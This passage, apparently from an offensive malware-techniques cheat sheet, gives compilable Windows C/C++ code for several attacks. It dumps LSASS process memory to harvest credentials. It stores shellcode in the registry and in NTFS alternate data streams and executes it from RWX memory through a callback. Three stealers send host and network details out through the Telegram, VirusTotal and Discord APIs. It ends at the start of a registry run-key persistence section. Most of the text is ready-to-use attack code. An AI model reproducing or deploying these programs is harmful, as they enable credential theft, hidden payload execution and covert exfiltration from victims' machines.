	if (ph && out != INVALID_HANDLE_VALUE) {
		dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);
		printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");
	}
	return dumped;
}
int main(int argc, char* argv[]) {
	if (!setPrivilege(SE_DEBUG_NAME)) return -1;
	if (!createMiniDump()) return -1;
	return 0;
}

Steps

  1. find lsass.exe process, via findMyProc function.
  2. It is necessary to have SeDebugPrivilege privilege to dump LSASS. So we will do that with setPrivilege function.
  3. Create dump via createMiniDump.

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp

Run

Store binary data(payload)

in registry

Use

This technique can be useful in storing binary data in Windows Registry for persistence and storing different malicious payloads.

Code

//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <iostream>
void registryStore() {
	HKEY hkey;
	const unsigned char data[] =
		"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
		"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
		"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
		"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
		"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
		"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
		"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
		"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
		"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
		"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
		"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
		"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
		"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
		"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
		"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
		"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
		"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
		"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
		"\x2e\x2e\x5e\x3d\x00";
	DWORD d;
	const char* secret = "Software\\meowApp";
 
	LSTATUS res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
	printf (res != ERROR_SUCCESS ? "failed to create reg key :(\n" : "successfully create key :)\n");
 
	res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) secret, 0, KEY_WRITE, &hkey);
	printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");
 
	res = RegSetValueEx(hkey, (LPCSTR)"secretMeow", 0, REG_BINARY, data, sizeof(data));
	printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");
 
	RegCloseKey(hkey);
}
void registryGetData() {
	HKEY hkey;
	DWORD size = 0;
	const char* secret = "Software\\meowApp";
 
	LSTATUS res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)secret, 0, KEY_READ, &hkey);
	printf(res != ERROR_SUCCESS ? "failed to open reg key :(\n" : "successfully open reg key:)\n");
 
	res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, nullptr, &size);
	printf(res != ERROR_SUCCESS ? "failed to query data size :(\n" : "successfully get binary data size:)\n");
 
	// allocate memory for the data
	LPVOID data = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
	res = RegQueryValueEx(hkey, (LPCSTR)"secretMeow", nullptr, nullptr, static_cast<LPBYTE>(data), &size);
	printf(res != ERROR_SUCCESS ? "failed to query data :(\n" : "successfully get binary data:)\n");
 
	EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)data, (LPARAM)NULL);
 
	// clean up
	VirtualFree(data, 0, MEM_RELEASE);
	RegCloseKey(hkey);
}
int main(void) {
	registryStore();
	registryGetData();
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

in alternate data streams

Alternate Data Streams allow for multiple data “streams” to be associated with a single filename, a capability that can be used to store metadata. While this feature was designed to support Macintosh Hierarchical File System (HFS) which uses resource forks to store icons and other information for a file, it can be and has been used for hiding data and malicious code.

Code

//hack.c
#include <windows.h>
#include <stdio.h>
int main() {
	// name of the file to which we'll attach the ADS
	char* filename = "C:\\temp\\meow.txt";
	// name of the ADS
	char* streamname = "hiddenstream";
	
	// full path including the ADS
	char fullpath[1024];
	sprintf(fullpath, "%s:%s", filename, streamname);
	
	// the data we're going to write to the ADS
	// meow-meow messagebox
	unsigned char my_payload[] =
		"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
		"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
		"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
		"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
		"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
		"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
		"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
		"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
		"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
		"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
		"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
		"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
		"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
		"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
		"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
		"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
		"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
		"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
		"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
		"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
		"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
		"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
		"\x2e\x2e\x5e\x3d\x00";
		
	printf("original payload: ");
	for (int i = 0; i < sizeof(my_payload); i++) {
		printf("%02x ", my_payload[i]);
	}
	printf("\n\n");
	
	// write data to the ADS
	HANDLE hFile = CreateFile(fullpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully write payload data to the ADS\n");
	
	DWORD bw;
	WriteFile(hFile, my_payload, sizeof(my_payload) - 1, &bw, NULL);
	CloseHandle(hFile);
	
	// now read the data back
	hFile = CreateFile(fullpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully read payload data from file\n");
	
	unsigned char data[sizeof(my_payload) - 1];
	DWORD br;
	ReadFile(hFile, data, sizeof(data), &br, NULL);
	CloseHandle(hFile);
	
	printf("read from file, payload:\n");
	for (int i = 0; i < sizeof(data); i++) {
		printf("%02x ", data[i]);
	}
	printf("\n\n");
	
	LPVOID mem = VirtualAlloc(NULL, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(mem, data, sizeof(data));
	EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
 
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

Run

Stealing data

via legit Telegram API

Step 1 : Create bot on Telegram.

Step 2 : Get chatId.

  • Copy this script and replace your bot API Token.
#!/usr/bin/env python
# my_bot.py
import logging
from telegram import ForceReply, Update
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters
 
# Enable logging
logging.basicConfig(
	format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
 
# set higher logging level for httpx to avoid all GET and POST requests being logged
logging.getLogger("httpx").setLevel(logging.WARNING)
 
logger = logging.getLogger(__name__)
 
# Define a few command handlers. These usually take the two arguments update and
# context.
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
	"""Send a message when the command /start is issued."""
	user = update.effective_user
	await update.message.reply_html(
		rf"Hi {user.mention_html()}!",
		reply_markup=ForceReply(selective=True),
	)
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
	"""Send a message when the command /help is issued."""
	await update.message.reply_text("Help!")
 
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
	"""Echo the user message."""
	print(update.message.chat_id)
	await update.message.reply_text(update.message.text)
 
def main() -> None:
	"""Start the bot."""
	# Create the Application and pass it your bot's token.
	application = Application.builder().token("YOUR_API_ID").build()
 
	# on different commands - answer in Telegram
	application.add_handler(CommandHandler("start", start))
	application.add_handler(CommandHandler("help", help_command))
 
	# on non command i.e message - echo the message on Telegram
	application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))
 
	# Run the bot until the user presses Ctrl-C
	application.run_polling(allowed_updates=Update.ALL_TYPES)
if __name__ == "__main__":
	main()
  • Run this script.
  • Start the bot and test it with random text.
  • If you get the same text back check running script, chatId must get printed there.
  • ChatId = 1254629754.

Step 3 : Write exploit.

Code

//hack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
int sendToTgBot(const char* message) {
	const char* chatId = "YOUR_CHATID_HERE";
	HINTERNET hSession = NULL;
	HINTERNET hConnect = NULL;
 
	hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
	if (hSession == NULL) {
		fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
		return 1;
	}
	
	hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);
	if (hConnect == NULL) {
		fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
		WinHttpCloseHandle(hSession);
	}
	HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot{YOUR_API_KEY}/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
	//It thould look like this!
	//HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot1234567890:AAFNByzp-KOlQysXZ*dMtBhJN8_v8kEZ5JQ/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
	
	if (hRequest == NULL) {
		fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
		WinHttpCloseHandle(hConnect);
		WinHttpCloseHandle(hSession);
	}
 
	// construct the request body
	char requestBody[512];
	sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);
 
	// set the headers
	if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n", -1, requestBody, strlen(requestBody), strlen(requestBody), 0)) {
		fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
		WinHttpCloseHandle(hRequest);
		WinHttpCloseHandle(hConnect);
		WinHttpCloseHandle(hSession);
		return 1;
	}
 
	WinHttpCloseHandle(hConnect);
	WinHttpCloseHandle(hRequest);
	WinHttpCloseHandle(hSession);
	printf("successfully sent to tg bot :)\n");
	return 0;
}
 
// get systeminfo and send to chat via tgbot logic
int main(int argc, char* argv[]) {
	// test tgbot sending message
	char test[1024];
	const char* message = "meow-meow";
	snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
	sendToTgBot(test);
	char systemInfo[4096];
 
	// Get host name
	CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
	DWORD size = sizeof(hostName) / sizeof(hostName[0]);
	GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR
 
	// Get OS version
	OSVERSIONINFO osVersion;
	osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx(&osVersion);
 
	// Get system information
	SYSTEM_INFO sysInfo;
	GetSystemInfo(&sysInfo);
 
	// Get logical drive information
	DWORD drives = GetLogicalDrives();
 
	// Get IP address
	IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
	DWORD adapterInfoSize = sizeof(adapterInfo);
	if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
		printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
		return false;
	}
 
	snprintf(systemInfo, sizeof(systemInfo), 
		"Host Name: %s\n" // Use %s for CHAR
		"OS Version: %d.%d.%d\n"
		"Processor Architecture: %d\n"
		"Number of Processors: %d\n"
		"Logical Drives: %X\n",
		hostName, osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber, sysInfo.wProcessorArchitecture, sysInfo.dwNumberOfProcessors, drives);
 
	// Add IP address information
	for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
		snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
		"Adapter Name: %s\n"
		"IP Address: %s\n"
		"Subnet Mask: %s\n"
		"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
		adapter->AdapterName,
		adapter->IpAddressList.IpAddress.String,
		adapter->IpAddressList.IpMask.String,
		adapter->Address[0], adapter->Address[1], adapter->Address[2],
		adapter->Address[3], adapter->Address[4], adapter->Address[5]);
	}
 
	char info[8196];
	snprintf(info, sizeof(info), "{\"text\":\"%s\"}", systemInfo);
	int result = sendToTgBot(info);
 
	if (result == 0) {
		printf("ok =^..^=\n");
	} else {
		printf("nok <3()~\n");
	}
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -liphlpapi -lwinhttp

Run

via VirusTotal API

Step 1 : Get FILE_ID.
Create a random exe. And upload it to Virustotal and get FILE_ID.
Example:
If this is the URL you see after uploading https://www.virustotal.com/gui/file/e2d2ab909fefaa4e9834c0b10c70df3ae66792bd2cc1be81f11aa20624d10472/ then e2d2ab909fefaa4e9834c0b10c70df3ae66792bd2cc1be81f11aa20624d10472 is your FILE_ID.


Step 2 : Get your API key from https://www.virustotal.com/gui/my-apikey .

Step3 : Write Exploit.

  • Replace your API_KEY and FILE_ID.
//hack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
 
#define VT_API_KEY "YOUR_API_KEY"
#define FILE_ID "YOUR FILE_ID"
 
// send data to VirusTotal using winhttp
int sendToVT(const char* comment) {
  HINTERNET hSession = NULL;
  HINTERNET hConnect = NULL;
 
  hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (hSession == NULL) {
    fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
    return 1;
  }
 
  hConnect = WinHttpConnect(hSession, L"www.virustotal.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (hConnect == NULL) {
    fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hSession);
  }
 
  HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v3/files/" FILE_ID "/comments", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
  if (hRequest == NULL) {
    fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
  }
 
  // construct the request body
  char json_body[1024];
  snprintf(json_body, sizeof(json_body), "{\"data\": {\"type\": \"comment\", \"attributes\": {\"text\": \"%s\"}}}", comment);
 
  // set the headers
  if (!WinHttpSendRequest(hRequest, L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt v.1.0\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/json", -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
    fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
  if (!hResponse) {
    fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
  }
 
  DWORD code = 0;
  DWORD codeS = sizeof(code);
  if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
    if (code == 200) {
      printf("comment posted successfully.\n");
    } else {
      printf("failed to post comment. HTTP Status Code: %d\n", code);
    }
  } else {
    DWORD error = GetLastError();
    LPSTR buffer = NULL;
    FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                   NULL, error, 0, (LPSTR)&buffer, 0, NULL);
    printf("WTF? unknown error: %s\n", buffer);
    LocalFree(buffer);
  }
 
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hSession);
 
  printf("successfully send info via VT API :)\n");
  return 0;
}
 
// get systeminfo and send as comment via VT API logic
int main(int argc, char* argv[]) {
 
  // test posting comment
//   const char* comment = "meow-meow";
//   sendToVT(comment);
 
  char systemInfo[4096];
 
  // Get host name
  CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = sizeof(hostName) / sizeof(hostName[0]);
  GetComputerNameA(hostName, &size);  // Use GetComputerNameA for CHAR
 
  // Get OS version
  OSVERSIONINFO osVersion;
  osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx(&osVersion);
 
  // Get system information
  SYSTEM_INFO sysInfo;
  GetSystemInfo(&sysInfo);
 
  // Get logical drive information
  DWORD drives = GetLogicalDrives();
 
  // Get IP address
  IP_ADAPTER_INFO adapterInfo[16];  // Assuming there are no more than 16 adapters
  DWORD adapterInfoSize = sizeof(adapterInfo);
  if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
    printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
    return false;
  }
 
  snprintf(systemInfo, sizeof(systemInfo),
    "Host Name: %s, "
    "OS Version: %d.%d.%d, "
    "Processor Architecture: %d, "
    "Number of Processors: %d, "
    "Logical Drives: %X, ",
    hostName,
    osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
    sysInfo.wProcessorArchitecture,
    sysInfo.dwNumberOfProcessors,
    drives);
 
  // Add IP address information
  for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
    snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
    "Adapter Name: %s, "
    "IP Address: %s, "
    "Subnet Mask: %s, "
    "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
    adapter->AdapterName,
    adapter->IpAddressList.IpAddress.String,
    adapter->IpAddressList.IpMask.String,
    adapter->Address[0], adapter->Address[1], adapter->Address[2],
    adapter->Address[3], adapter->Address[4], adapter->Address[5]);
  }
 
  int result = sendToVT(systemInfo);
 
  if (result == 0) {
    printf("ok =^..^=\n");
  } else {
    printf("nok <3()~\n");
  }
 
  return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp

Run

via Discord Bot API

Step 1 : Create an Application in Discord.

  • Use this link to Create Application
    https://discord.com/developers/applications

    Step 2 : Get Application ID after creating Application.

    Step 3 : Go to Bot section and give Administrator Permission to Bot and Reset the Token and get the newly generated Token.



Step 4 : Get Channel ID.

  • Open the channel you want to get messages and then copy link by right-clicking on it.

    Example:
    • If you get Link this https://discord.com/channels/766253980379512863/76625397496912865 then 76625397496912865 is your Channel ID.

Step 5 : Authorize our bot for sending Message to channel.

  • Visit https://discord.com/api/oauth2/authorize?client_id=<Your Application ID>&permissions=0&scope=bot
    And Authorize your bot.

    Step 6 : Write Exploit.
  • Replace your channel id and Token we got in Step 4 and 3.

Code

//hack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
 
#define DISCORD_BOT_TOKEN "YOUR TOKEN" // replace with your actual bot token
#define DISCORD_CHANNEL_ID "YOUR CHANNEL ID" // replace with the channel ID where you want to send the message
 
// function to send a message to discord using the discord Bot API
int sendToDiscord(const char* message) {
  HINTERNET hSession = NULL;
  HINTERNET hConnect = NULL;
  HINTERNET hRequest = NULL;
 
  hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (hSession == NULL) {
    fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
    return 1;
  }
 
  hConnect = WinHttpConnect(hSession, L"discord.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (hConnect == NULL) {
    fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v10/channels/" DISCORD_CHANNEL_ID "/messages", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
  if (hRequest == NULL) {
    fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  // set headers
  if (!WinHttpAddRequestHeaders(hRequest, L"Authorization: Bot " DISCORD_BOT_TOKEN "\r\nContent-Type: application/json\r\n", -1, WINHTTP_ADDREQ_FLAG_ADD)) {
    fprintf(stderr, "WinHttpAddRequestHeaders. error %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  // construct JSON payload
  char json_body[1024];
  snprintf(json_body, sizeof(json_body), "{\"content\": \"%s\"}", message);
 
  // send the request
  if (!WinHttpSendRequest(hRequest, NULL, -1, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
    fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  // receive response
  BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
  if (!hResponse) {
    fprintf(stderr, "WinHttpReceiveResponse. error %d has occurred.\n", GetLastError());
  }
 
  DWORD code = 0;
  DWORD codeS = sizeof(code);
  if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
    if (code == 200) {
      printf("message sent successfully to discord.\n");
    } else {
      printf("failed to send message to discord. HTTP status code: %d\n", code);
    }
  } else {
    DWORD error = GetLastError();
    LPSTR buffer = NULL;
    FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                   NULL, error, 0, (LPSTR)&buffer, 0, NULL);
    printf("unknown error: %s\n", buffer);
    LocalFree(buffer);
  }
 
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hSession);
 
  return 0;
}
 
int main(int argc, char* argv[]) {
  // test message
  const char* message = "meow-meow";
  sendToDiscord(message);
 
  char systemInfo[4096];
 
  // get host name
  CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = sizeof(hostName) / sizeof(hostName[0]);
  GetComputerNameA(hostName, &size);
 
  // get OS version
  OSVERSIONINFO osVersion;
  osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx(&osVersion);
 
  // get system information
  SYSTEM_INFO sysInfo;
  GetSystemInfo(&sysInfo);
 
  // get logical drive information
  DWORD drives = GetLogicalDrives();
 
  // get IP address
  IP_ADAPTER_INFO adapterInfo[16];  // Assuming there are no more than 16 adapters
  DWORD adapterInfoSize = sizeof(adapterInfo);
  if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
    printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
    return 1;
  }
 
  snprintf(systemInfo, sizeof(systemInfo),
    "Host Name: %s, "
    "OS Version: %d.%d.%d, "
    "Processor Architecture: %d, "
    "Number of Processors: %d, "
    "Logical Drives: %X, ",
    hostName,
    osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
    sysInfo.wProcessorArchitecture,
    sysInfo.dwNumberOfProcessors,
    drives);
 
  // add IP address information
  for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
    snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
    "Adapter Name: %s, "
    "IP Address: %s, "
    "Subnet Mask: %s, "
    "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
    adapter->AdapterName,
    adapter->IpAddressList.IpAddress.String,
    adapter->IpAddressList.IpMask.String,
    adapter->Address[0], adapter->Address[1], adapter->Address[2],
    adapter->Address[3], adapter->Address[4], adapter->Address[5]);
  }
 
  // send system info to discord
  sendToDiscord(systemInfo);
  return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-liphlpapi -lwinhttp

Run

Persistence

Registry run keys

Malware code

#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
	MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
